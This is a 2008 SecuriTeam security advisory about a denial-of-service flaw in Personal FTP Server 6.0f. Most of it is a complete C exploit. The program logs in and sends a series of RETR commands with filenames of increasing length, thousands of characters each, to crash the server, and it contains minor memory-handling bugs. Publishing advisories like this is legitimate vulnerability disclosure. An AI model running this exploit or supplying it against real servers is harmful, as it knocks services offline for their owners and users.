[EXPL]Personal FTP Server RETR DoS
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 4 Oct 2008 18:19:31 +0200
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Personal FTP Server RETR DoS
------------------------------------------------------------------------
SUMMARY
<http://www.michael-roth-software.de/new/00000367.html> Personal FTP
Server is "a feature full FTP server made for the home market". A
vulnerability in the Personal FTP server allows remote attackers to cause
it to crash by sending it multiple RETR commands.
DETAILS
Vulnerable Systems:
* Personal FTP Server version 6.0f
Exploit:
/*
*** The Personal FTP Server 6.0f RETR DOS exploit ***
A vulnerability exists in the way Personal FTP Server handles
multiple RETR commands with overly long filenames.When confronted
with such consecutive requests the server will crash.
Usage : ./pftpdos ip port user password
Ex. : ./pftpdos 127.0.0.1 21 test test
Personal FTP Server homepage: http://www.michael-roth-software.de/
Discovey + POC by Shinnok raydenxy [at] yahoo <dot> com
http://shinnok.evonet.ro
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <malloc.h>
#include <errno.h>
int
min (int x, int y)
{
if (x < y)return x;
else
return y;
}
extern int errno;
int
main (int argc, char *argv[])
{
struct sockaddr_in server;
int i, t, s;
char *req, *buff;
s = socket (AF_INET, SOCK_STREAM, 0);
bzero (&server, sizeof (server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr (argv[1]);
server.sin_port = htons (atoi (argv[2]));
connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr));
req = malloc (sizeof (char) * \
(((strlen (argv[3]) - strlen (argv[4])) + \
min (strlen (argv[3]), strlen (argv[4])) + 8)));
sprintf (req, "USER %s\xD\xA", argv[3]);
write (s, req, strlen (req));
sprintf (req, "PASS %s\xD\xA", argv[4]);
write (s, req, strlen (req));
free (req);
for (i = 1; i <= 5; i++)
{
t = (sizeof (char) * 1000 * i);
buff = malloc (t + 1);
memset (buff, 'A', t);
buff[t + 1] = '\0';
req = malloc (t + 9);
sprintf (req, "RETR %s\xD\xA", buff);
if (write (s, req, strlen (req)) == -1)
{
perror (NULL);
printf ("Target pwned!\n", errno);
}
free (req);
free (buff);
sleep (1);
}
close (s);
return (EXIT_SUCCESS);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:raydenxy@xxxxxxxxx> Shinnok.
The original article can be found at: <http://shinnok.evonet.ro>
http://shinnok.evonet.ro
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